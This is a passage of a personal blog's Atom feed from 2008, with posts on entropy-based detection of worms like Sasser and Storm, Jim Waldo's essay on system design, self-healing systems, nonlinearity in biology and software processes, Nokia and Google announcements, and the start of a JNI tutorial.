configured in such a way as to provide information about the network traffic in form of source and destination IPs, source and destination port numbers, the size of the packet transmitted, and the time elapsed between packets. Information regarding the routers themselves is also collected. Such information is used by the proposed algorithms to build a profile of the network’s normal behavior. It is stressed that the entire network is monitored, not just one single link in the network.&lt;br /&gt;&lt;br /&gt;The principle behind the entropy-based algorithms is the fact that "&lt;span style="font-style: italic;"&gt;Malicious network anomalies are created by humans, so they must affect the natural "randomness" or entropy that normal traffic has when left to its own devices. Detecting these shifts in entropy in turn detects anomalous traffic.&lt;/span&gt;" When the network has established patterns, any outcome that is different from the normal states of the network can be easily detected. Even if the malicious code manifests by downloading pictures from the internet, the fingerprint of the network would look unusual, different from what is expected, from how the network was used. The authors make an interesting point, namely that Internet traffic has both uniformity and randomness. A worm will alter both, making the traffic either more random, or more structured. In case of the 2004 Sasser attack, the information entropy associated with the destination IP addresses rises suddenly, indicating an increase in randomness in traffic destinations due to the scanning initiated by the infected machines, as it looks for new victims. At the same time, the entropy associated with the source IP addresses suddenly drops, indicating a decrease in randomness as the already infected computers initiate a higher than normal number of connections. The conclusion is that the network goes into a new internal state unknown before, hence easily detectable.&lt;br /&gt;&lt;br /&gt;The Storm worm I mentioned at the beginning works in some perspective similar to other worms, namely new code is placed on the computer (because the user clicks on some attachment), which will make it to join a botnet. However, there are distinct differences between old warms and Storm. One of them is the way it makes the user click the attachment, like using a clever subject line for the email, or attachment name, related to hot topics that are currently on the news, such as elections, hurricanes, major storms, etc. Most importantly, Storm hides its network activity. It first looks what ports and protocols a user is using. If it finds a P2P program, such as eMule, Kazaa, BitComet etc, it will use that program’s port and protocol to do its network scanning. Storm will also look at what IP addresses the P2P program communicated with, and will communicate with them, instead of new IP addresses, which would trigger its detection. Furthermore, Storm will not spread as fast as it can, because it has a dormant and a walking mode. It will gather information for a short period, then it will go quit. Very interesting that Storm actually tailors its behavior based on the pattern of the network usage. How to detect Storm? The worm will still alter the network entropy. For example, during its active period, the host computer will send many emails, which is unusually for normal use. In addition, the port used is not 25. All these are hints that something is wrong inside the network.&lt;br /&gt;&lt;br /&gt;A great article! Nothing short of what I am used to expect from IEEE Spectrum.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2732379475314362820?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2732379475314362820/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2732379475314362820' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2732379475314362820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2732379475314362820'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/11/controlled-chaos.html' title='Controlled Chaos'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-2719466135567627520</id><published>2008-10-27T20:47:00.015-04:00</published><updated>2008-10-27T22:03:08.462-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBM'/><category scheme='http://www.blogger.com/atom/ns#' term='UML'/><category scheme='http://www.blogger.com/atom/ns#' term='Sun'/><category scheme='http://www.blogger.com/atom/ns#' term='Agile'/><category scheme='http://www.blogger.com/atom/ns#' term='MDA'/><category scheme='http://www.blogger.com/atom/ns#' term='Six Sigma'/><category scheme='http://www.blogger.com/atom/ns#' term='Design'/><title type='text'>On System Design</title><content type='html'>&lt;div style="text-align: justify;"&gt;In an essay entitled "&lt;a href="http://research.sun.com/techrep/Perspectives/PS-2006-6.pdf"&gt;On System Design&lt;/a&gt;", Jim Waldo, a distinguished engineer with Sun Microsystems, expresses his ideas and opinions on system design, including factors that hinder the effort necessary to do system design.&lt;br /&gt;&lt;br /&gt;Some of the techniques that aid in the process of good system design are &lt;a href="http://en.wikipedia.org/wiki/Six_Sigma"&gt;Six Sigma&lt;/a&gt;, or UML. The latter helps in the development of good design, but it is you (as an individual or a team) that has to come up with the design. UML helps you in expressing that design better. Many approaches have been found to work, but there is no general approach that works on all projects. Depending on the project, you have to decide which approach better suites your needs. The only exception to this is given by Brooks, namely that good designs have one thing in common, that is they are produced by good designers. Jim Waldo explained this in terms of probability/statistics: those who have been able to produce a good design in the past are far more likely to produce a good design in the future. Furthermore, designers have to be bale to deal with ambiguity while creating the design, and to know that the question that cannot be answered right away, will be eventually answered at the appropriate time. The author mentions that instead of learning a process of design, it is better to learn how to best design. An indicative to the best way to learn how to design includes two factors:&lt;br /&gt;&lt;br /&gt;1. Trying, failing, and then trying again.&lt;br /&gt;2. Being under the guidance of someone who is an expert at the task.&lt;br /&gt;&lt;br /&gt;It si the way of thinking that matters most in system design, rather than the subject that can be thought in a particular course. Interesting enough, the author mentions that System Design cannot be learned in one course, but should rather be though in a much larger process, similar to an apprenticeship. The relationship needed between a master and its apprentice is found at the graduate level, where each student has an adviser with whom he is involved in academic research. One other place is at work (in industry) where you get hands-on insight on system design. I would argue that at work, you are more constrained in terms of time; hence, there is less opportunity in learning system design.&lt;br /&gt;&lt;br /&gt;Diversity in the sense of academic backgrounds (physics, philosophy, anthropology, computer science, music, etc), and how such a diversity creates different views on a given problem, is described as being beneficial. I would particularize this to software development in the sense of not trying to think of a solution for a problem in terms of a particular programming language, but instead design the solution independent of the software platform and only afterward think of what language can help me express this design the best (similar to the MDA concepts).&lt;br /&gt;&lt;br /&gt;The problem with doing design up front is the fact that no immediate code is produced. The pressure to produce something that can be seen, or the measure of productivity by means of the number of lines of code written, still exists. What is needed is "&lt;span style="font-style: italic;"&gt;an act of faith by management&lt;/span&gt;". He continues by saying that "&lt;span style="font-style: italic;"&gt;if you find a manager who is actually willing to give you time to do the design task, stick with him or her. He or she is a treasure much rarer than gold.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;The paper also mentions intellectual property (as a note on why system design is not shared among peers anymore), and how any patent has the same value as any other patent. For me this is unbelievable; it is equivalent to saying that ideas that are behind the pattern are the same, namely have the same value. The quality of an idea is not taken into consideration at all by the patent system. Furthermore, in case of a patent litigation, the jury is made up of ordinary (non-technical) people, not technical peers. Hence, "&lt;span style="font-style: italic;"&gt;it is very hard to learn about good system design unless you can see and study other system designs, both good and bad. The intellectual property atmosphere in industry has limited the number of designs that are actually talked about, and has convinced many system designers that they should not even look at the designs that are available.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Ways of solving the lack of system design from academia and industry are given in forms of agile methodologies and open source projects, because they enhance the discussion of a system's design in several ways: the communication between two (or a small group) of programmers can help in clarifying and better understanding the design of a system; furthermore, communicating the design to other members of an open source project will help clarify the design of a system. It is interesting to note that the author provides a different view to both agile methodologies and open source projects, namely them being a reaction to the impossibility of doing system design in academia and in the industry. Overall, the paper makes for an inspiring reading. You find yourself nodding and agreeing with the statements made while reading the essay.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-2719466135567627520?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/2719466135567627520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=2719466135567627520' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2719466135567627520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/2719466135567627520'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/10/on-system-design.html' title='On System Design'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3462024510233603043</id><published>2008-10-17T16:55:00.003-04:00</published><updated>2008-10-17T17:03:13.698-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Science'/><title type='text'>Images of the Sun</title><content type='html'>The Boston Globe has a series of &lt;a href="http://www.boston.com/bigpicture/2008/10/the_sun.html"&gt;amazing images&lt;/a&gt; of the Sun. Enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-3462024510233603043?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/3462024510233603043/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=3462024510233603043' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3462024510233603043'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/3462024510233603043'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/10/images-of-sun.html' title='Images of the Sun'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5973369018387429860</id><published>2008-10-14T20:44:00.034-04:00</published><updated>2008-12-07T08:39:51.560-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IBM'/><category scheme='http://www.blogger.com/atom/ns#' term='Science'/><category scheme='http://www.blogger.com/atom/ns#' term='Autonomic Computing'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Why is self-healing in computer systems important?</title><content type='html'>&lt;div style="text-align: justify;"&gt;Reading about the &lt;a href="http://www.sciencenews.org/view/generic/id/37608/title/Hubble%2C_heal_thyself"&gt;malfunction&lt;/a&gt; that rendered the Hubble Space Telescope silent, I realized indeed how important is for systems to have the property of self-healing that our human body has, and in the broader sense, be autonomic. This would imply for the system to know itself in such a way as to poses detail knowledge of its components, status, and internal and external connections. If a system does not have information about a specific component, it cannot control it, hence the importance of knowing itself.&lt;br /&gt;&lt;br /&gt;Furthermore, reconfiguring itself based on the environment is also a desired property. Most importantly, such a system would need to heal itself without the interference of human experts. Why do we need such a self-healing characteristic in computer systems? The Hubble Space Telescope mentioned above is one example. The failure in the telescope came from a unit that collects data and transmits it to earth. Solving this problem means to remotely send commands to the telescope to switch its operations to a backup unit. Why hasn't this been achieved automatically? Because Hubble was not designed with self-healing in mind. Would have been that complicated to discover the problem on its own and find an alternative resource that it could use to continue its normal operation? Self-healing really means just making use of redundant or underutilized components to take over the task of the malfunctioned element. This is similar to how the brain works when parts of it are damaged. The problem is that because Hubble is not 'aware' of its backup unit, that specific unit has not been utilized since 1990, making it subject to "&lt;span style="font-style: italic;"&gt;harmful rays of the sun, extreme temperature changes during orbits and 18 years of cosmic debris&lt;/span&gt;".&lt;br /&gt;&lt;br /&gt;If you are interested in Autonomic Computing, IBM has a whole research project devoted to this subject. You can find out more about this &lt;a href="http://www.research.ibm.com/autonomic/index.html"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5973369018387429860?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5973369018387429860/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5973369018387429860' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5973369018387429860'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5973369018387429860'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/10/why-is-self-healing-important.html' title='Why is self-healing in computer systems important?'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-59368507054115527</id><published>2008-10-06T15:38:00.084-04:00</published><updated>2010-11-18T08:31:11.255-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Software Development Process'/><category scheme='http://www.blogger.com/atom/ns#' term='Finance'/><category scheme='http://www.blogger.com/atom/ns#' term='FAU'/><category scheme='http://www.blogger.com/atom/ns#' term='Chaos'/><category scheme='http://www.blogger.com/atom/ns#' term='Software'/><category scheme='http://www.blogger.com/atom/ns#' term='Biology'/><title type='text'>Linearity and Nonlinearity in Biology, Computer Science and the Financial Market</title><content type='html'>&lt;div style="text-align: justify;"&gt;One of the questions that I have, inspired by one of the graduate classes taught by Dr. Ravi Shankar at &lt;a href="http://www.cse.fau.edu/"&gt;FAU&lt;/a&gt;, is can we exploit the biological architectures to come up with improved computer architecture, both software and hardware. One aspect that rose my interest was the nonlinearity of different biological systems, and if we have such examples of nonlinearity in computer science. In ecological systems, we have Robert May's bifurcation diagram shown below:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="https://ccrma.stanford.edu/~blackrse/LogisticMap_BifurcationDiagram.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="https://ccrma.stanford.edu/~blackrse/LogisticMap_BifurcationDiagram.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;SOURCE:&amp;nbsp;&lt;a href="https://ccrma.stanford.edu/~blackrse/LogisticMap_BifurcationDiagram.png"&gt;https://ccrma.stanford.edu/~blackrse/LogisticMap_BifurcationDiagram.png&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;If the population growth factor equals to 4, the population jumps around in a chaotic, nonlinear manner. The main idea of the bifurcation diagram is to be able to see the successive period doubling which take us into chaos. We have such bifurcation, such branching, in the blood vessels, as well as in the air vessels. Now for the blood vessels, they can expand to adapt the blood flow. Let us denote the internal pressure, the pressure across the walls, with P, and the volume inside with V. Plotting this system we get the figure below:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://4.bp.blogspot.com/_mPswsGUhiws/SOqz4cUWI-I/AAAAAAAAAok/wPKxGwjVKhk/s1600-h/nonlinear.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5254209697536680930" src="http://4.bp.blogspot.com/_mPswsGUhiws/SOqz4cUWI-I/AAAAAAAAAok/wPKxGwjVKhk/s200/nonlinear.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;What we get is a deterministic nonlinear system. The upper part of the slope is around 100 times the lower part. In case of a disease, like &lt;a href="http://en.wikipedia.org/wiki/Arteriosclerosis"&gt;arteriosclerosis&lt;/a&gt; where you loose elasticity and you get a higher blood pressure, or in the case where you have more elasticity hence you have a higher pressure, you get a more linear system:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/SOrCMh_MPyI/AAAAAAAAAos/ppG32WW6Eww/s1600-h/both.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5254225435818737442" src="http://3.bp.blogspot.com/_mPswsGUhiws/SOrCMh_MPyI/AAAAAAAAAos/ppG32WW6Eww/s200/both.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;The blood vessels system functions properly only in the nonlinear case. Both linear cases have a negative impact. Do we have such linearity in system development? In software development process, the Waterfall model is the only model that has this linearity property:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://1.bp.blogspot.com/_mPswsGUhiws/SOt10ZAK4UI/AAAAAAAAAo8/2Vd94qdrW38/s1600-h/waterfall.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5254422933183062338" src="http://1.bp.blogspot.com/_mPswsGUhiws/SOt10ZAK4UI/AAAAAAAAAo8/2Vd94qdrW38/s320/waterfall.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;The waterfall model is argued to be considered a bad practice mainly because it is impossible to 100% complete one phase before moving to another. When using such a model, it is implied that there are no changes in the requirements, problems can be fully predicted, and the design is correct before the implementation phase starts. Any other development process models do not exhibit the linearity property, but are rather nonlinear. Let us take the spiral model for example, shown below:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/en/3/33/Spiral_model_%28Boehm%2C_1988%29.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" src="http://upload.wikimedia.org/wikipedia/en/3/33/Spiral_model_%28Boehm%2C_1988%29.png" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;Spiral model (Boehm, 1988)&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The diagram above can be viewed as a fractal, which is an example of a nonlinear system. Another model that expresses nonlinearity is the iterative and incremental one that is an essential or general part of other models such as &lt;a href="http://en.wikipedia.org/wiki/Rational_Unified_Process"&gt;RUP&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Extreme_Programming"&gt;Extreme Programming&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Agile_software_development"&gt;Agile Software Development&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://upload.wikimedia.org/wikipedia/commons/a/ac/Iterative_development_model_V2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="167" src="http://upload.wikimedia.org/wikipedia/commons/a/ac/Iterative_development_model_V2.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="color: #0000ee;"&gt;&lt;u&gt;&lt;br /&gt;&lt;/u&gt;&lt;/span&gt;&lt;/div&gt;The iterative and incremental approach has been developed in response to the linear waterfall model. The nonlinearity characteristic is necessary in order for these models to display the property of adaptability to change, redesign, and learning from other iterations.&lt;br /&gt;&lt;br /&gt;If we look at the DOW Jones Industrial Average for 2008, we can see some characteristics of chaos (another manifestation of nonlinearity)  depicted in the shaded blue rectangle, that would predict the continuous fall starting with the beginning of October:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_mPswsGUhiws/SOz-R8t5BmI/AAAAAAAAApE/cj1A0OuEZhk/s1600-h/DOW.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5254854449544365666" src="http://3.bp.blogspot.com/_mPswsGUhiws/SOz-R8t5BmI/AAAAAAAAApE/cj1A0OuEZhk/s320/DOW.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;SOURCE: Yahoo! Finance&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Nonlinearity is present throughout this graph, but chaos really sets in when the rate of the index goes up and down by a much higher rate than it did in the past. The high change in the DJI over a small period of time is a characteristic of chaos behavior. This is also seen if we look at the volume indicator below that plots the number of shares traded during that period of time:&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_mPswsGUhiws/SO0QxVJh4SI/AAAAAAAAApc/NMy7UaDMYnk/s1600-h/volume.JPG" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5254874779887984930" src="http://2.bp.blogspot.com/_mPswsGUhiws/SO0QxVJh4SI/AAAAAAAAApc/NMy7UaDMYnk/s400/volume.JPG" style="cursor: pointer; display: block; margin: 0px auto 10px; text-align: center;" /&gt;&lt;/a&gt;SOURCE: Yahoo! Finance&lt;br /&gt;&lt;div style="text-align: left;"&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;From September 12 to September 19, there is an almost 50% increase in the number of shares traded. Between September 19 and September 25, there is around 50% decrease in the number of shares traded. Such a high increase and decrease in a two week period is chaotic and uncontrolled, and it is not seen anywhere in the graph for the past year. Having said that, we could certainly look for such chaotic manifestation in the future to better predict the market.&lt;br /&gt;&lt;br /&gt;As a conclusion, we have seen several examples where nonlinearity in the form of fractals and chaos is useful and beneficial. Thinking in such terms will have a positive impact in domains ranging form computer science to financial systems.&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-59368507054115527?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/59368507054115527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=59368507054115527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/59368507054115527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/59368507054115527'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/10/linearity-and-nonlinearity-in-biology.html' title='Linearity and Nonlinearity in Biology, Computer Science and the Financial Market'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_mPswsGUhiws/SOqz4cUWI-I/AAAAAAAAAok/wPKxGwjVKhk/s72-c/nonlinear.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-5431061115968972917</id><published>2008-10-03T11:09:00.011-04:00</published><updated>2008-12-07T08:41:06.523-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Music'/><category scheme='http://www.blogger.com/atom/ns#' term='Nokia'/><title type='text'>Nokia unveils "Comes With Music"</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;img src="file:///C:/DOCUME%7E1/MIHAIF%7E1/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;img src="file:///C:/DOCUME%7E1/MIHAIF%7E1/LOCALS%7E1/Temp/moz-screenshot-1.jpg" alt="" /&gt;From Nokia's &lt;a href="http://www.nokia.com/A4136001?newsid=1172937"&gt;Press Release&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;"&lt;span style="font-style: italic;"&gt;The company announced Nokia Comes With Music, a revolutionary program that enables people to buy a Nokia device with a year of unlimited access to millions of tracks from a range of great artists - past, present and future. Once the year is complete, customers can keep all their music without having to worry about it disappearing when their subscription is over.&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;The CEO of UMG International was with Nokia to launch the program.&lt;span style="font-style: italic;"&gt; "It's fantastic to work with Nokia on Comes With Music," said Grainge. "We feel it's an innovative way for people to discover and enjoy new artists, while at the same time having access to the amazing depth of the Universal catalog. Comes With Music allows our artists to reach new audiences in a very easy and affordable way."&lt;/span&gt;"&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-5431061115968972917?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/5431061115968972917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=5431061115968972917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5431061115968972917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/5431061115968972917'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/10/nokia-unveals-comes-with-music.html' title='Nokia unveils &quot;Comes With Music&quot;'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-4280392490606518422</id><published>2008-09-24T21:43:00.015-04:00</published><updated>2008-12-07T08:41:19.836-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Google's Project 10 to the 100th</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.project10tothe100.com/index.html"&gt;Project 10 to the 100th&lt;/a&gt; is a call for ideas that have an impact on the entire world, affecting as many people as possible. You have until October 20th, 2008 to submit your idea. From the top 100 ideas, you have a chance to choose the 20 semi-finalists.  In the end, up to 5 ideas will be selected, and Google is committing $10 million to implement those ideas.&lt;br /&gt;&lt;br /&gt;It is important to understand that you will not receive the money, but rather a Request for Proposal process will begin "to identify the organization(s) and proposals that are in the best position to help implement the selected ideas". Hence if you wanted to participate in this project for the money, then you are misunderstanding the scope of it. In terms of Google, you "get good karma and the satisfaction of knowing that your idea might truly help a lot of people".&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4280392490606518422?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4280392490606518422/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4280392490606518422' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4280392490606518422'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4280392490606518422'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2008/09/googles-project-10-to-100th.html' title='Google&apos;s Project 10 to the 100th'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3932696320123913210</id><published>2008-09-19T16:33:00.082-04:00</published><updated>2008-12-07T08:42:22.044-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java'/><category scheme='http://www.blogger.com/atom/ns#' term='JNI'/><title type='text'>JNI Example</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;a href="http://java.sun.com/docs/books/jni/html/intro.html"&gt;JNI&lt;/a&gt; stands for Java Native Interface, which allows you to use, inside your Java application, code written in other programming languages. I will walk you through an example (developed under Windows) of using JNI.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Here are the main steps we need to follow:&lt;br /&gt;- Create a java application that declares the native method.&lt;br /&gt;- Compile the program.&lt;br /&gt;- Generate the header file using javah.&lt;br /&gt;- Implement the native code 